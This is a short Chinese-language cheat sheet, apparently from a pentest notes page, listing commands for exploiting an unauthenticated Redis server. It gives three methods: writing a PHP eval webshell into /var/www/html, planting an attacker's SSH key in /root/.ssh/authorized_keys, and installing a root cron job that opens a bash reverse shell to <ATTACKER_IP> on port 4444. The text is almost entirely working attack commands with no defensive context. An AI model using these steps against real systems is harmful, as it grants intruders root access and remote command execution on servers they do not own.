# 连接 Redisredis-cli -h <TARGET_IP>
# 设置 webshell127.0.0.1:6379> config set dir /var/www/html
127.0.0.1:6379> config set dbfilename shell.php
127.0.0.1:6379> set x "<?php @eval($_POST['cmd']);?>"127.0.0.1:6379> save
# 访问 webshellhttp://<TARGET_IP>/shell.php
写入 SSH 公钥
# 生成 SSH 密钥ssh-keygen -t rsa
# 连接 Redisredis-cli -h <TARGET_IP>
# 写入公钥127.0.0.1:6379> config set dir /root/.ssh
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> set x "\n\n\n<公钥内容>\n\n\n"127.0.0.1:6379> save
# SSH 登录ssh -i id_rsa root@<TARGET_IP>
写入定时任务
# 连接 Redisredis-cli -h <TARGET_IP>
# 写入反弹 shell127.0.0.1:6379> config set dir /var/spool/cron
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\n"127.0.0.1:6379> save